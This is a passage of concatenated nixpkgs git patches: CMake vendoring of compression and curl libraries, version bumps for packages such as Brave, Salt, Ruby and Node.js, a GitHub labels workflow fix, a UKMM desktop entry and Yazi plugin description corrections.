++    set(CREATE_XZ_SYMLINKS OFF)
++    add_subdirectory(dependencies/xz-5.8.1)
++    set(LIBLZMA_FOUND true)
++    set(LIBLZMA_INCLUDE_DIR ${CMAKE_CURRENT_LIST_DIR}/dependencies/xz-5.8.1/src/liblzma/api FORCE)
++    set(LIBLZMA_INCLUDE_DIRS ${CMAKE_CURRENT_LIST_DIR}/dependencies/xz-5.8.1/src/liblzma/api FORCE)
++    set(LIBLZMA_LIBRARY liblzma)
++    set(LIBLZMA_LIBRARIES liblzma)
++
++    # Bundled zstd
++    set(ZSTD_BUILD_PROGRAMS OFF CACHE BOOL "" FORCE)
++    set(ZSTD_BUILD_SHARED OFF CACHE BOOL "" FORCE)
++    set(ZSTD_BUILD_TESTS OFF CACHE BOOL "" FORCE)
++    set(ZSTD_BUILD_DICTBUILDER OFF CACHE BOOL "" FORCE)
++    add_subdirectory(dependencies/zstd-1.5.7/build/cmake)
++    set(Zstd_FOUND true)
++    set(ZSTD_FOUND true)
++    set(Zstd_VERSION "1.5.7")
++    set(ZSTD_VERSION "1.5.7")
++    set(Zstd_INCLUDE_DIR ${CMAKE_CURRENT_LIST_DIR}/dependencies/zstd-1.5.7/lib)
++    set(ZSTD_INCLUDE_DIR ${CMAKE_CURRENT_LIST_DIR}/dependencies/zstd-1.5.7/lib)
++    set(Zstd_INCLUDE_DIRS ${CMAKE_CURRENT_LIST_DIR}/dependencies/zstd-1.5.7/lib)
++    set(ZSTD_INCLUDE_DIRS ${CMAKE_CURRENT_LIST_DIR}/dependencies/zstd-1.5.7/lib)
++    set(Zstd_LIBRARIES libzstd_static)
++    set(ZSTD_LIBRARIES libzstd_static)
++    set(ZSTD_LIBRARY libzstd_static)
++
++    # Bundled zlib
++    set(ZLIB_BUILD_EXAMPLES OFF)
++    set(SKIP_INSTALL_ALL ON)
++    add_subdirectory(dependencies/zlib-1.4.1.1)
++    set(ZLIB_FOUND TRUE)
++    set(ZLIB_INCLUDE_DIR ${CMAKE_CURRENT_LIST_DIR}/dependencies/zlib-1.4.1.1 CACHE PATH "zlib include dir")
++    set(ZLIB_INCLUDE_DIRS ${CMAKE_CURRENT_LIST_DIR}/dependencies/zlib-1.4.1.1 CACHE PATH "zlib include dir")
++    set(ZLIB_LIBRARY zlibstatic)
++    set(ZLIB_LIBRARIES zlibstatic)
++
++    # Bundled libarchive
++    set(ARCHIVE_ENABLE_WERROR OFF CACHE BOOL "")
++    set(ARCHIVE_ENABLE_INSTALL OFF CACHE BOOL "")
++    set(ARCHIVE_ENABLE_TEST OFF CACHE BOOL "")
++    set(ARCHIVE_ENABLE_CNG OFF CACHE BOOL "")
++    set(ARCHIVE_ENABLE_MBEDTLS OFF CACHE BOOL "")
++    set(ARCHIVE_ENABLE_NETTLE OFF CACHE BOOL "")
++    set(ARCHIVE_ENABLE_OPENSSL OFF CACHE BOOL "")
++    set(ARCHIVE_ENABLE_BZip2 OFF CACHE BOOL "")
++    set(ARCHIVE_ENABLE_LZ4 OFF CACHE BOOL "")
++    set(ARCHIVE_ENABLE_LZO OFF CACHE BOOL "")
++    set(ARCHIVE_ENABLE_LIBB2 OFF CACHE BOOL "")
++    set(ARCHIVE_ENABLE_LIBXML2 OFF CACHE BOOL "")
++    set(ARCHIVE_ENABLE_EXPAT OFF CACHE BOOL "")
++    set(ARCHIVE_ENABLE_PCREPOSIX OFF CACHE BOOL "")
++    set(ARCHIVE_ENABLE_PCRE2POSIX OFF CACHE BOOL "")
++    set(ARCHIVE_ENABLE_LIBGCC OFF CACHE BOOL "")
++    set(ARCHIVE_ENABLE_TAR OFF CACHE BOOL "")
++    set(ARCHIVE_ENABLE_CPIO OFF CACHE BOOL "")
++    set(ARCHIVE_ENABLE_CAT OFF CACHE BOOL "")
++    set(ARCHIVE_BUILD_SHARED_LIBS OFF CACHE BOOL "")
++    add_subdirectory(dependencies/libarchive-3.7.7)
++    set(LibArchive_FOUND true)
++    set(LibArchive_LIBRARIES archive_static)
++    set(LibArchive_INCLUDE_DIR ${CMAKE_CURRENT_LIST_DIR}/dependencies/libarchive-3.7.8/libarchive)
++
++    # Bundled libcurl
++    set(CMAKE_CURL_INCLUDES)
++    set(BUILD_CURL_EXE OFF CACHE BOOL "" FORCE)
++    set(BUILD_LIBCURL_DOCS OFF CACHE BOOL "" FORCE)
++    set(ENABLE_CURL_MANUAL OFF CACHE BOOL "" FORCE)
++    set(CURL_USE_LIBPSL OFF)
++    set(CURL_USE_LIBSSH2 OFF)
++    set(CURL_DISABLE_ALTSVC ON)
++    set(CURL_DISABLE_KERBEROS_AUTH ON)
++    set(CURL_DISABLE_DICT ON)
++    set(CURL_DISABLE_DISABLE_FORM_API ON)
++    set(CURL_DISABLE_FTP ON)
++    set(CURL_DISABLE_GOPHER ON)
++    set(CURL_DISABLE_IMAP ON)
++    set(CURL_DISABLE_LDAP ON)
++    set(CURL_DISABLE_LDAPS ON)
++    set(CURL_DISABLE_MQTT ON)
++    set(CURL_DISABLE_NETRC ON)
++    set(CURL_DISABLE_POP3 ON)
++    set(CURL_DISABLE_RTSP ON)
++    set(CURL_DISABLE_SMTP ON)
++    set(CURL_DISABLE_TELNET ON)
++    set(CURL_DISABLE_TFTP ON)
++    set(CURL_ZSTD ON)
++    set(CURL_ENABLE_EXPORT_TARGET OFF CACHE BOOL "" FORCE)
++    set(CURL_DISABLE_INSTALL ON)
++    if (APPLE)
++        # TODO: SecureTransport is a deprecated API in macOS, supporting
++        #       only up to TLS v1.2. cURL has not implemented the replacement,
++        #       Network.framework, and so we will need to select an alternative.
++        #       Best recommendation: Libressl, as used by Apple in the curl binary
++        #       on macOS.
++        set(CURL_USE_SECTRANSP ON)
++        set(CURL_DEFAULT_SSL_BACKEND "secure-transport")
++        set(USE_APPLE_IDN ON)
++    else()
++        if (WIN32)
++            set(CURL_USE_SCHANNEL ON)
++            set(CURL_DEFAULT_SSL_BACKEND "schannel")
++        else ()
++            set(CURL_USE_GNUTLS ON)
++            set(CURL_DEFAULT_SSL_BACKEND "gnutls")
++        endif(WIN32)
++    endif(APPLE)
++
++    add_subdirectory(dependencies/curl-8.13.0)
++    set(CURL_FOUND true)
++    set(CURL_LIBRARIES libcurl_static)
++    set(CURL_INCLUDE_DIR ${CMAKE_CURRENT_LIST_DIR}/dependencies/curl-8.13.0/include)
++    set(CURL_INCLUDE_DIRS ${CMAKE_CURRENT_LIST_DIR}/dependencies/curl-8.13.0/include)
++
++elseif (NOT ENABLE_VENDORING AND UNIX)
++    # Find the libraries that were subject to vendoring in the system instead,
++    # To keep the possibility of delivery via Linux distro packages
++    find_package(ZLIB)
++    if(ZLIB_FOUND)
++        set(EXTRALIBS ${EXTRALIBS} ZLIB::ZLIB)
++    endif()
++    find_package(LibLZMA)
++    if(LIBLZMA_FOUND)
++        set(EXTRALIBS ${EXTRALIBS} LibLZMA::LibLZMA)
++    endif()
++    find_package(CURL 8.13.0 REQUIRED)
++    find_package(LibArchive 3.7.8 REQUIRED)
+ endif()
+ 
+-unset(BUILD_CURL_EXE)
+-unset(BUILD_LIBCURL_DOCS)
+-unset(BUILD_MISC_DOCS)
+-unset(ENABLE_CURL_MANUAL)
+-unset(BUILD_EXAMPLES)
+-unset(CURL_USE_LIBPSL)
+-unset(CURL_USE_LIBSSH2)
+-unset(CURL_DISABLE_ALTSVC)
+-unset(CURL_DISABLE_KERBEROS_AUTH)
+-unset(CURL_DISABLE_DICT)
+-unset(CURL_DISABLE_DISABLE_FORM_API)
+-unset(CURL_DISABLE_FTP)
+-unset(CURL_DISABLE_GOPHER)
+-unset(CURL_DISABLE_IMAP)
+-unset(CURL_DISABLE_LDAP)
+-unset(CURL_DISABLE_LDAPS)
+-unset(CURL_DISABLE_MQTT)
+-unset(CURL_DISABLE_NETRC)
+-unset(CURL_DISABLE_POP3)
+-unset(CURL_DISABLE_RTSP)
+-unset(CURL_DISABLE_SMTP)
+-unset(CURL_DISABLE_TELNET)
+-unset(CURL_DISABLE_TFTP)
+-unset(CURL_ZSTD)
+-unset(CURL_ENABLE_EXPORT_TARGET)
+-unset(CURL_DISABLE_INSTALL)
+-unset(CURL_USE_SECTRANSP)
+-unset(CURL_DEFAULT_SSL_BACKEND)
+-unset(USE_APPLE_IDN)
+-unset(CURL_USE_SCHANNEL)
+-unset(CURL_USE_GNUTLS)
+-
+-set(CURL_FOUND true CACHE BOOL "" FORCE)
+-set(CURL_LIBRARIES libcurl_static CACHE FILEPATH "" FORCE)
+-set(CURL_INCLUDE_DIR ${curl_SOURCE_DIR}/include CACHE PATH "" FORCE)
+-set(CURL_INCLUDE_DIRS ${curl_SOURCE_DIR}/include CACHE PATH "" FORCE)
+-
+ # Adding headers explicity so they are displayed in Qt Creator
+ set(HEADERS config.h imagewriter.h networkaccessmanagerfactory.h nan.h drivelistitem.h drivelistmodel.h drivelistmodelpollthread.h driveformatthread.h powersaveblocker.h cli.h
+     devicewrapper.h devicewrapperblockcacheentry.h devicewrapperpartition.h devicewrapperstructs.h devicewrapperfatpartition.h wlancredentials.h
+@@ -928,11 +675,6 @@ else()
+         if (NOT LSBLK)
+             message(FATAL_ERROR "Unable to locate lsblk (used for disk enumeration)")
+         endif()
+-
+-        execute_process(COMMAND "${LSBLK}" "--json" OUTPUT_QUIET RESULT_VARIABLE ret)
+-        if (ret EQUAL "1")
+-            message(FATAL_ERROR "util-linux package too old. lsblk does not support --json (used for disk enumeration)")
+-        endif()
+     endif()
+ 
+     install(TARGETS ${PROJECT_NAME} DESTINATION bin)

From b609640904c4540989f7adb62711caf0fbace578 Mon Sep 17 00:00:00 2001
From: Sean Buckley <sean.bck@gmail.com>
Date: Thu, 12 Jun 2025 12:34:18 -0400
Subject: [PATCH 1030/4511] brave: 1.79.119 -> 1.79.123

https://community.brave.com/t/release-channel-1-79-123/625197
(cherry picked from commit e340fbf5b55dab6126dafa722dd8fa79dc582789)
---
 pkgs/by-name/br/brave/package.nix | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/pkgs/by-name/br/brave/package.nix b/pkgs/by-name/br/brave/package.nix
index dc6d4a182a90..d98621db5164 100644
--- a/pkgs/by-name/br/brave/package.nix
+++ b/pkgs/by-name/br/brave/package.nix
@@ -3,24 +3,24 @@
 
 let
   pname = "brave";
-  version = "1.79.119";
+  version = "1.79.123";
 
   allArchives = {
     aarch64-linux = {
       url = "https://github.com/brave/brave-browser/releases/download/v${version}/brave-browser_${version}_arm64.deb";
-      hash = "sha256-tz3pCToOqsO6SAu5NeUSmO0aRe31qw0sK2OxtkrYGlo=";
+      hash = "sha256-SINatcbj6EEvvd1St1hLOMrWXA06DZtbSiaecA8hQ5s=";
     };
     x86_64-linux = {
       url = "https://github.com/brave/brave-browser/releases/download/v${version}/brave-browser_${version}_amd64.deb";
-      hash = "sha256-8uX8byw/rp+yj6Y2qBemEHGwt4CQepWjVD8F9KuJZbI=";
+      hash = "sha256-XWw8Kn245KPpJxhSRz6xmFwijJSU5vMgpDUNRyRMf0M=";
     };
     aarch64-darwin = {
       url = "https://github.com/brave/brave-browser/releases/download/v${version}/brave-v${version}-darwin-arm64.zip";
-      hash = "sha256-ynLMWSWywJbmURBH60Nf7TJFERPNNzcI/wdW8AFk7ZA=";
+      hash = "sha256-8QZVd1//302jqO24Masz6KEogYCkfUxuQ2HpEeuaujY=";
     };
     x86_64-darwin = {
       url = "https://github.com/brave/brave-browser/releases/download/v${version}/brave-v${version}-darwin-x64.zip";
-      hash = "sha256-ERhKzzabN3NiJQMaTLxdtHCbPMDbPifG56aBmAgke5o=";
+      hash = "sha256-IB+08osAXOenRDCSvebRxZlNYsFRoh3g0JwGfXUy1kU=";
     };
   };
 

From d9bcd14f87243c21d34414da9532cbf03d6d9735 Mon Sep 17 00:00:00 2001
From: Flakebi <flakebi@t-online.de>
Date: Wed, 14 May 2025 23:37:29 +0200
Subject: [PATCH 1031/4511] salt: 3007.1 -> 3007.4

Changelog: https://github.com/saltstack/salt/blob/3007.x/doc/topics/releases/3007.2.md
And https://docs.saltproject.io/en/latest/topics/releases/3007.3.html
And https://docs.saltproject.io/en/latest/topics/releases/3007.4.html

The last one (3007.4) fixes quite a few CVEs.

(cherry picked from commit 7c5a0fbf29bad8fc9449ae405243e6ae9c016bed)
---
 pkgs/by-name/sa/salt/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/sa/salt/package.nix b/pkgs/by-name/sa/salt/package.nix
index 7bf4fa6866df..a8846173a5ef 100644
--- a/pkgs/by-name/sa/salt/package.nix
+++ b/pkgs/by-name/sa/salt/package.nix
@@ -12,12 +12,12 @@
 
 python3.pkgs.buildPythonApplication rec {
   pname = "salt";
-  version = "3007.1";
+  version = "3007.4";
   format = "setuptools";
 
   src = fetchPypi {
     inherit pname version;
-    hash = "sha256-uTOsTLPksRGLRtraVcnMa9xvD5S0ySh3rsRLJcaijJo=";
+    hash = "sha256-T7e2RVlJaGUX3IlafFpC2SLgD9riXalUn3N+LiEB9K8=";
   };
 
   patches = [

From 74f2c428bb552a3104c8038b2041afd1c39717ed Mon Sep 17 00:00:00 2001
From: Kirill Radzikhovskyy <kirillrdy@gmail.com>
Date: Mon, 9 Jun 2025 21:01:08 +1000
Subject: [PATCH 1032/4511] ruby_3_4: 3.4.3 -> 3.4.4

Release: https://www.ruby-lang.org/en/news/2025/05/14/ruby-3-4-4-released/
(cherry picked from commit 63eeb7a065688e535c9c5f04f847f2f5bd631fa5)
---
 pkgs/development/interpreters/ruby/default.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/development/interpreters/ruby/default.nix b/pkgs/development/interpreters/ruby/default.nix
index 9461b0335ee5..2a190c70dfce 100644
--- a/pkgs/development/interpreters/ruby/default.nix
+++ b/pkgs/development/interpreters/ruby/default.nix
@@ -435,8 +435,8 @@ in
   };
 
   ruby_3_4 = generic {
-    version = rubyVersion "3" "4" "3" "";
-    hash = "sha256-VaTNHcvlyifPZeiak1pILCuyKEgyk5JmVRwOxotDf0Y=";
+    version = rubyVersion "3" "4" "4" "";
+    hash = "sha256-oFl7/fMS4BDv0e/6qNfx14MxRv3BeVDKqBWP+j3L+oU=";
     cargoHash = "sha256-5Tp8Kth0yO89/LIcU8K01z6DdZRr8MAA0DPKqDEjIt0=";
   };
 }

From 824f94c949f31e56c87a98823c588d0c2ae334e9 Mon Sep 17 00:00:00 2001
From: liberodark <liberodark@gmail.com>
Date: Sat, 14 Jun 2025 16:04:04 +0200
Subject: [PATCH 1033/4511] glpi-agent: 1.14 -> 1.15

(cherry picked from commit 7dc531b06ef7a02d7e7251c6ae7db7557fec93c7)
---
 pkgs/by-name/gl/glpi-agent/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/gl/glpi-agent/package.nix b/pkgs/by-name/gl/glpi-agent/package.nix
index ea5bf2683188..a683021591d4 100644
--- a/pkgs/by-name/gl/glpi-agent/package.nix
+++ b/pkgs/by-name/gl/glpi-agent/package.nix
@@ -15,13 +15,13 @@
 
 perlPackages.buildPerlPackage rec {
   pname = "glpi-agent";
-  version = "1.14";
+  version = "1.15";
 
   src = fetchFromGitHub {
     owner = "glpi-project";
     repo = "glpi-agent";
     tag = version;
-    hash = "sha256-6q+JcTFZlZjtMaQKUvCwE9Sjw9662ZXl78kha0tEFv4=";
+    hash = "sha256-+zHTlxfkZ1x21ePZUni7lbRJQ/NUDeoZnvOzM+yzG3M=";
   };
 
   postPatch = ''

From 448d9e1d7305d757f5cb437a3c23c48b9c4376f9 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Wed, 11 Jun 2025 11:32:59 +0000
Subject: [PATCH 1034/4511] jackett: 0.22.1887 -> 0.22.2008

(cherry picked from commit e44ca2be6002ceba372f1e18ddc20b0afb45b0f4)
---
 pkgs/servers/jackett/default.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/servers/jackett/default.nix b/pkgs/servers/jackett/default.nix
index b141fcbf4f04..f5c60b6c5318 100644
--- a/pkgs/servers/jackett/default.nix
+++ b/pkgs/servers/jackett/default.nix
@@ -11,13 +11,13 @@
 
 buildDotnetModule rec {
   pname = "jackett";
-  version = "0.22.1887";
+  version = "0.22.2008";
 
   src = fetchFromGitHub {
     owner = pname;
     repo = pname;
     rev = "v${version}";
-    hash = "sha512-6XM7FDj12IfMu6KQHMih2yrwnP0GcVE2IMvH99vbfhyUKxOJiiWNNj72lEwBt5TDHs4eeQgugNIJ+NiDe52OjQ==";
+    hash = "sha512-sTwG5eI2Bg3woANS55SkVCbYYu+bCPxBhxgJro9mIjqrzV/dHcXUoEgs7U/pCuMnoZG9BeH4egtPGQ2amH/Www==";
   };
 
   projectFile = "src/Jackett.Server/Jackett.Server.csproj";

From c6336fdae2a0c22abbdb8572b86e5862c437b7ab Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Sat, 14 Jun 2025 13:53:01 +0200
Subject: [PATCH 1035/4511] workflows/labels: count approving reviewers, not
 reviews

A single reviewer approving a Pull Request multiple times should only
count once.

(cherry picked from commit 2e033512487f35ea755c8a42116c420568b8e14c)
---
 .github/workflows/labels.yml | 13 +++++++------
 1 file changed, 7 insertions(+), 6 deletions(-)

diff --git a/.github/workflows/labels.yml b/.github/workflows/labels.yml
index 1a8595352950..d29df9002b44 100644
--- a/.github/workflows/labels.yml
+++ b/.github/workflows/labels.yml
@@ -96,7 +96,7 @@ jobs:
                     name == '12.approved-by: package-maintainer'
                   )
 
-                const approvals =
+                const approvals = new Set(
                   (await github.paginate(github.rest.pulls.listReviews, {
                     owner: context.repo.owner,
                     repo: context.repo.repo,
@@ -104,15 +104,16 @@ jobs:
                   }))
                   .filter(review => review.state == 'APPROVED')
                   .map(review => review.user.id)
-
-                const maintainers = Object.keys(
-                  JSON.parse(await readFile('comparison/maintainers.json', 'utf-8'))
                 )
 
+                const maintainers = new Set(Object.keys(
+                  JSON.parse(await readFile('comparison/maintainers.json', 'utf-8'))
+                ))
+
                 // And the labels that should be there
                 const after = JSON.parse(await readFile('comparison/changed-paths.json', 'utf-8')).labels
-                if (approvals.length > 0) after.push(`12.approvals: ${approvals.length > 2 ? '3+' : approvals.length}`)
-                if (maintainers.some(id => approvals.includes(id))) after.push('12.approved-by: package-maintainer')
+                if (approvals.size > 0) after.push(`12.approvals: ${approvals.size > 2 ? '3+' : approvals.size}`)
+                if (Array.from(maintainers).some(approvals.has)) after.push('12.approved-by: package-maintainer')
 
                 // Remove the ones not needed anymore
                 await Promise.all(

From a8dccda9aad48fe3a57357c58bd6fa80952e81fc Mon Sep 17 00:00:00 2001
From: rucadi <ruben.cano96@gmail.com>
Date: Sat, 14 Jun 2025 14:04:22 +0200
Subject: [PATCH 1036/4511] ukmm: add desktop file

(cherry picked from commit df2b8f45c318c686362b08fb04eb40e716552cf7)
---
 pkgs/by-name/uk/ukmm/package.nix | 22 ++++++++++++++++++++++
 1 file changed, 22 insertions(+)

diff --git a/pkgs/by-name/uk/ukmm/package.nix b/pkgs/by-name/uk/ukmm/package.nix
index df12bb0bcaf5..afcc6fcfa9dc 100644
--- a/pkgs/by-name/uk/ukmm/package.nix
+++ b/pkgs/by-name/uk/ukmm/package.nix
@@ -9,6 +9,8 @@
   libglvnd,
   libxkbcommon,
   openssl,
+  makeDesktopItem,
+  copyDesktopItems,
   nix-update-script,
 }:
 
@@ -30,6 +32,7 @@ rustPlatform.buildRustPackage (finalAttrs: {
     cmake
     pkg-config
     wrapGAppsHook3
+    copyDesktopItems
   ];
 
   buildInputs = [
@@ -70,6 +73,25 @@ rustPlatform.buildRustPackage (finalAttrs: {
 
   passthru.updateScript = nix-update-script { };
 
+  postInstall = ''
+    install -Dm444 assets/ukmm.png  $out/share/icons/hicolor/256x256/apps/ukmm.png
+  '';
+
+  desktopItems = [
+    (makeDesktopItem {
+      name = "ukmm";
+      exec = "ukmm %u";
+      mimeTypes = [ "x-scheme-handler/bcml" ];
+      icon = "ukmm";
+      desktopName = "UKMM";
+      categories = [
+        "Game"
+        "Utility"
+      ];
+      comment = "Breath of the Wild Mod Manager";
+    })
+  ];
+
   meta = with lib; {
     description = "New mod manager for The Legend of Zelda: Breath of the Wild";
     homepage = "https://github.com/NiceneNerd/ukmm";

From 2612964b27ae814f45aef071be28135207f3f2d1 Mon Sep 17 00:00:00 2001
From: Antoine du Hamel <duhamelantoine1995@gmail.com>
Date: Mon, 9 Jun 2025 23:56:25 +0200
Subject: [PATCH 1037/4511] nodejs_24: 24.1.0 -> 24.2.0

(cherry picked from commit b71bbb8ef375e5813b7798e7bd69a2fc0cdbd0fa)
---
 pkgs/development/web/nodejs/v24.nix | 11 ++---------
 1 file changed, 2 insertions(+), 9 deletions(-)

diff --git a/pkgs/development/web/nodejs/v24.nix b/pkgs/development/web/nodejs/v24.nix
index 253b764824ff..befcf6759c96 100644
--- a/pkgs/development/web/nodejs/v24.nix
+++ b/pkgs/development/web/nodejs/v24.nix
@@ -17,8 +17,8 @@ let
 in
 buildNodejs {
   inherit enableNpm;
-  version = "24.1.0";
-  sha256 = "c8171b2aeccb28c8c5347f273a25adae172fb2a65bc8c975bc22ec58949d0eaf";
+  version = "24.2.0";
+  sha256 = "40143d43efbdeeb9537995f532126c494d63a31da332acb5022f76f00afc62ab";
   patches =
     (
       if (stdenv.hostPlatform.emulatorAvailable buildPackages) then
@@ -51,13 +51,6 @@ buildNodejs {
       ./node-npm-build-npm-package-logic.patch
       ./use-correct-env-in-tests.patch
       ./bin-sh-node-run-v22.patch
-
-      # Can be removed after https://github.com/NixOS/nixpkgs/pull/403958.
-      (fetchpatch2 {
-        url = "https://github.com/nodejs/node/commit/9aa57bf8dab2dbfb8b6974fe71d5dbe6daf66244.patch?full_index=1";
-        hash = "sha256-k3h8mPgvaIYGAkGmaL+ix7kUnyLw4/PF7wXMAWrPMXo=";
-        revert = true;
-      })
     ]
     ++ lib.optionals (!stdenv.buildPlatform.isDarwin) [
       # test-icu-env is failing without the reverts

From bdc2540a8b5fa4ca59c311987569cff4e394d1f7 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sat, 14 Jun 2025 13:48:32 +0000
Subject: [PATCH 1038/4511] firefox-devedition-unwrapped: 140.0b4 -> 140.0b9

(cherry picked from commit 97845ee289be2a3f3b19815aafc00ed1e9d185b3)
---
 .../browsers/firefox/packages/firefox-devedition.nix          | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/applications/networking/browsers/firefox/packages/firefox-devedition.nix b/pkgs/applications/networking/browsers/firefox/packages/firefox-devedition.nix
index cd1f7f72219f..45ad9b2a0d2f 100644
--- a/pkgs/applications/networking/browsers/firefox/packages/firefox-devedition.nix
+++ b/pkgs/applications/networking/browsers/firefox/packages/firefox-devedition.nix
@@ -10,13 +10,13 @@
 buildMozillaMach rec {
   pname = "firefox-devedition";
   binaryName = pname;
-  version = "140.0b4";
+  version = "140.0b9";
   applicationName = "Firefox Developer Edition";
   requireSigning = false;
   branding = "browser/branding/aurora";
   src = fetchurl {
     url = "mirror://mozilla/devedition/releases/${version}/source/firefox-${version}.source.tar.xz";
-    sha512 = "bc71e5183b7f527f006b82ba729cb9556a0c756059025392d31ace1e3e49c0a48f5f7c8b64615353c7ae72ab67eb77212f3b573ea06a278f806328093d1424a4";
+    sha512 = "c653824a5be5e376f53bd73589760af6bb74d7ee66f6557ec9fda4e3d795a851f49d73c063abac69aa6663f7f8b3c76b9487d0c067e33bd1c2be7733b9356325";
   };
 
   meta = {

From 4f90e240fe56c652be91ed0784ff5c930af6c68c Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Sat, 14 Jun 2025 18:47:45 +0200
Subject: [PATCH 1039/4511] workflows/labels: fix approval label with
 maintainers

This currently fails with:

```
Method Set.prototype.has called on incompatible receiver undefined
```

Seems like my syntax test previously only hit the case without
maintainers, in which case it doesn't throw :/.

(cherry picked from commit 4b9fb45060225c9590fc4f07e2863af16db07ac4)
---
 .github/workflows/labels.yml | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/.github/workflows/labels.yml b/.github/workflows/labels.yml
index d29df9002b44..a7e34775d6ea 100644
--- a/.github/workflows/labels.yml
+++ b/.github/workflows/labels.yml
@@ -113,7 +113,7 @@ jobs:
                 // And the labels that should be there
                 const after = JSON.parse(await readFile('comparison/changed-paths.json', 'utf-8')).labels
                 if (approvals.size > 0) after.push(`12.approvals: ${approvals.size > 2 ? '3+' : approvals.size}`)
-                if (Array.from(maintainers).some(approvals.has)) after.push('12.approved-by: package-maintainer')
+                if (Array.from(maintainers).some(m => approvals.has(m))) after.push('12.approved-by: package-maintainer')
 
                 // Remove the ones not needed anymore
                 await Promise.all(

From 9956669d7e664850c32b7946f42b822163f7cc49 Mon Sep 17 00:00:00 2001
From: MCSeekeri <mcseekeri@outlook.com>
Date: Sat, 14 Jun 2025 14:55:55 +0000
Subject: [PATCH 1040/4511] yaziPlugins: fix description

(cherry picked from commit 3d0e037cc8b84d6dbc782d59d4d5c9665654b189)
---
 pkgs/by-name/ya/yazi/plugins/mactag/default.nix       | 2 +-
 pkgs/by-name/ya/yazi/plugins/mime-ext/default.nix     | 2 +-
 pkgs/by-name/ya/yazi/plugins/mount/default.nix        | 2 +-
 pkgs/by-name/ya/yazi/plugins/no-status/default.nix    | 2 +-
 pkgs/by-name/ya/yazi/plugins/smart-enter/default.nix  | 2 +-
 pkgs/by-name/ya/yazi/plugins/smart-filter/default.nix | 2 +-
 pkgs/by-name/ya/yazi/plugins/smart-paste/default.nix  | 2 +-
 pkgs/by-name/ya/yazi/plugins/toggle-pane/default.nix  | 2 +-
 pkgs/by-name/ya/yazi/plugins/vcs-files/default.nix    | 2 +-
 9 files changed, 9 insertions(+), 9 deletions(-)

diff --git a/pkgs/by-name/ya/yazi/plugins/mactag/default.nix b/pkgs/by-name/ya/yazi/plugins/mactag/default.nix
index 61e0b326fa6c..07764f56f5a4 100644
--- a/pkgs/by-name/ya/yazi/plugins/mactag/default.nix
+++ b/pkgs/by-name/ya/yazi/plugins/mactag/default.nix
@@ -15,7 +15,7 @@ mkYaziPlugin {
   };
 
   meta = {
-    description = "Previewing archive contents with mactag";
+    description = "Bring macOS's awesome tagging feature to Yazi";
     license = lib.licenses.mit;
     maintainers = with lib.maintainers; [ khaneliman ];
     platforms = lib.platforms.darwin;
diff --git a/pkgs/by-name/ya/yazi/plugins/mime-ext/default.nix b/pkgs/by-name/ya/yazi/plugins/mime-ext/default.nix
index bf82462f36c5..2d787891f3b8 100644
--- a/pkgs/by-name/ya/yazi/plugins/mime-ext/default.nix
+++ b/pkgs/by-name/ya/yazi/plugins/mime-ext/default.nix
@@ -15,7 +15,7 @@ mkYaziPlugin {
   };
 
   meta = {
-    description = "Previewing archive contents with mime-ext";
+    description = "Mime-type provider based on a file extension database, replacing the builtin file to speed up mime-type retrieval at the expense of accuracy";
     license = lib.licenses.mit;
     maintainers = with lib.maintainers; [ khaneliman ];
   };
diff --git a/pkgs/by-name/ya/yazi/plugins/mount/default.nix b/pkgs/by-name/ya/yazi/plugins/mount/default.nix
index 8f11fe0b381c..372c6d9cb3b5 100644
--- a/pkgs/by-name/ya/yazi/plugins/mount/default.nix
+++ b/pkgs/by-name/ya/yazi/plugins/mount/default.nix
@@ -15,7 +15,7 @@ mkYaziPlugin {
   };
 
   meta = {
-    description = "Previewing archive contents with mount";
+    description = "Mount manager for Yazi";
     license = lib.licenses.mit;
     maintainers = with lib.maintainers; [ khaneliman ];
   };
diff --git a/pkgs/by-name/ya/yazi/plugins/no-status/default.nix b/pkgs/by-name/ya/yazi/plugins/no-status/default.nix
index 03b4fab01188..0a479f912d0e 100644
--- a/pkgs/by-name/ya/yazi/plugins/no-status/default.nix
+++ b/pkgs/by-name/ya/yazi/plugins/no-status/default.nix
@@ -15,7 +15,7 @@ mkYaziPlugin {
   };
 
   meta = {
-    description = "Previewing archive contents with no-status";
+    description = "Remove the status bar";
     license = lib.licenses.mit;
     maintainers = with lib.maintainers; [ khaneliman ];
   };
diff --git a/pkgs/by-name/ya/yazi/plugins/smart-enter/default.nix b/pkgs/by-name/ya/yazi/plugins/smart-enter/default.nix
index 5bd33f0d676d..86d2d9c15527 100644
--- a/pkgs/by-name/ya/yazi/plugins/smart-enter/default.nix
+++ b/pkgs/by-name/ya/yazi/plugins/smart-enter/default.nix
@@ -15,7 +15,7 @@ mkYaziPlugin {
   };
 
   meta = {
-    description = "Previewing archive contents with smart-enter";
+    description = "Open files or enter directories all in one key";
     license = lib.licenses.mit;
     maintainers = with lib.maintainers; [ khaneliman ];
   };
diff --git a/pkgs/by-name/ya/yazi/plugins/smart-filter/default.nix b/pkgs/by-name/ya/yazi/plugins/smart-filter/default.nix
index 95becd9e7181..2b98874261a2 100644
--- a/pkgs/by-name/ya/yazi/plugins/smart-filter/default.nix
+++ b/pkgs/by-name/ya/yazi/plugins/smart-filter/default.nix
@@ -15,7 +15,7 @@ mkYaziPlugin {
   };
 
   meta = {
-    description = "Previewing archive contents with smart-filter";
+    description = "Yazi plugin that makes filters smarter";
     license = lib.licenses.mit;
     maintainers = with lib.maintainers; [ khaneliman ];
   };
diff --git a/pkgs/by-name/ya/yazi/plugins/smart-paste/default.nix b/pkgs/by-name/ya/yazi/plugins/smart-paste/default.nix
index 07d525f22814..ac13242de6d2 100644
--- a/pkgs/by-name/ya/yazi/plugins/smart-paste/default.nix
+++ b/pkgs/by-name/ya/yazi/plugins/smart-paste/default.nix
